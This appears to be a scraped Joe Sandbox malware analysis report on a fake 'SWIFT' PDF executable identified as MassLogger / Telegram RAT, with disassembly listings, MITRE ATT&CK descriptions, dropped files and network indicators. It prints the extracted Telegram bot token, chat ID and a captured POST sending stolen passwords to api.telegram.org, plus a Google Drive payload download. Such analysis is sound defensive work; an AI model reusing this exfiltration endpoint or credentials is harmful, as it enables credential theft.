Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction ID: f587d7e23cd8e79aba5dfcc9fd1c49406dd64d8aef4a88ed345cfe548f7336ea
Opcode Fuzzy Hash: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction Fuzzy Hash: BAF06D76A00708BFEB008B59ED05A9FBBA8EB91750F10403AE900F7180E6B49A548B68

Function 00405735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
CloseHandle.KERNEL32(0040A300), ref: 0040576B

Strings

Error launching installer, xrefs: 00405748

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction ID: 39588cd766b2ea89d65183b6a6bcc828c6470883592abd44c37ede1670716c40
Opcode Fuzzy Hash: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction Fuzzy Hash: B8E0B6B4600209BFEB109B64ED49F7B7AADEB04708F004665BD50F6191DB74EC158B78

Function 00151A40 Relevance: 5.1, Strings: 4, Instructions: 98COMMON

Download Yara Rule

Strings

Xbq, xrefs: 00151A76
Xbq, xrefs: 00151AB0
Xbq, xrefs: 00151B2F
Xbq, xrefs: 00151B7C

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq
API String ID: 0-2732225958
Opcode ID: 88199b9f02605e9015a5e4e5bbe1f356c6b448e87fb4155272e715f67702a55a
Instruction ID: 9c860ebb91e4e89742f969184c8ee6d8f67a4ca40495c92638264a52d9a656f9
Opcode Fuzzy Hash: 88199b9f02605e9015a5e4e5bbe1f356c6b448e87fb4155272e715f67702a55a
Instruction Fuzzy Hash: 4A31E934D00319DFCF668B7985403AEBBB2AF84302F1440A9CC65AB255EB70CD88CB92

Function 001558E8 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;^q, xrefs: 001558F4
\;^q, xrefs: 00155926
\;^q, xrefs: 0015591A
\;^q, xrefs: 001558FE

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID: \;^q$\;^q$\;^q$\;^q
API String ID: 0-3001612457
Opcode ID: dd79d3332297f530360b9175a19edcb8b018421703274388367ebb876385430b
Instruction ID: 2aa2bdf15fc98b29e15e7eb24b691f63853fc428d1353ea60d25da674c6442f0
Opcode Fuzzy Hash: dd79d3332297f530360b9175a19edcb8b018421703274388367ebb876385430b
Instruction Fuzzy Hash: 3801D431740905CFCB688E2DC46492577EBAF88B7A7264469E866CF3B0DB32DC498781

Function 00405B8F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405BB7
CharNextA.USER32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BC8
lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction ID: ee410971918da6c20df7c5ac797640abd601cb5b02c8e88895b13af08820b85c
Opcode Fuzzy Hash: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction Fuzzy Hash: 22F06231104958AFC7029BA5DD4099FBBB8EF55254B2540A9E840F7211D674FE019BA9

Source: 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc", "Telegram Chatid": "7382809095"}
Source: SWIFT09181-24_pdf.exe.6020.5.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendMessage"}

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3791D1EC CryptUnprotectData,		5_2_3791D1EC
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3791D9D9 CryptUnprotectData,		5_2_3791D9D9

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1d0431f11147Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.67.152 104.21.67.152
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3791C985h	5_2_3791C638
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 37911042h	5_2_37910C28
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 37910671h	5_2_379103AF
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3791EA48h	5_2_3791E790
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 37911042h	5_2_37910F6F
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3791E198h	5_2_3791DEE1
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3791C041h	5_2_3791BD9C
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3791B791h	5_2_3791B4EC
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 37911042h	5_2_37910C1B
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3791EEA0h	5_2_3791EBF2
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3791E5F0h	5_2_3791E340
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3791DD40h	5_2_3791DA89
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3791C499h	5_2_3791C1F2
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3791BBE9h	5_2_3791B944
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3791F2F8h	5_2_3791F054
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3791B339h	5_2_3791B07F
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A65882Dh	5_2_3A658650
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A6591B7h	5_2_3A658650
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then push 00000000h	5_2_3A65BDF0
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A652C60h	5_2_3A6529B8
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A655908h	5_2_3A655660
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A653510h	5_2_3A653268
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A657318h	5_2_3A657070
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A651B00h	5_2_3A651858
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A654ACAh	5_2_3A654820
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A6516A8h	5_2_3A651400
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A6554B0h	5_2_3A655208
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A6530B8h	5_2_3A652E10
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A656EC0h	5_2_3A656C18
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A653968h	5_2_3A6536C0
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A657770h	5_2_3A6574C8
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A651F58h	5_2_3A651CB0
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A655D60h	5_2_3A655AB8
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A652808h	5_2_3A652560
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A656610h	5_2_3A656368
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A654218h	5_2_3A653F70
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_3A657B4F
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A6523B0h	5_2_3A652108
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A6561B8h	5_2_3A655F10
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A653DC0h	5_2_3A653B18
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A656A68h	5_2_3A6567C0
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A654670h	5_2_3A6543C8
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A651250h	5_2_3A650FA8
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 4x nop then jmp 3A655058h	5_2_3A654DB0

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49858 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49837 -> 216.58.208.238:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=138pqZxsrel6pv22ZzsGxQKK8bi-dritC HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=138pqZxsrel6pv22ZzsGxQKK8bi-dritC&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SWIFT09181-24_pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Psychrophyte.Boo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Riprap43.gaw

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Vebogen77.Uni

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\forskansningens.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\fyldebtten.soi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\wildwestfilm.sto

C:\Users\user\AppData\Local\Temp\nsw967F.tmp\System.dll

C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Benchership141.lnk

Static File Info

General

File Icon

Windows Analysis Report
SWIFT09181-24_pdf.exe

Function 004032A0 Relevance: 89.7, APIs: 32, Strings: 19, Instructions: 401
stringfilecomCOMMON

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00406077 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Function 00405846 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 0040389E Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402DEE Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151
fileCOMMON

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 00405683 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00405C59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
libraryCOMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
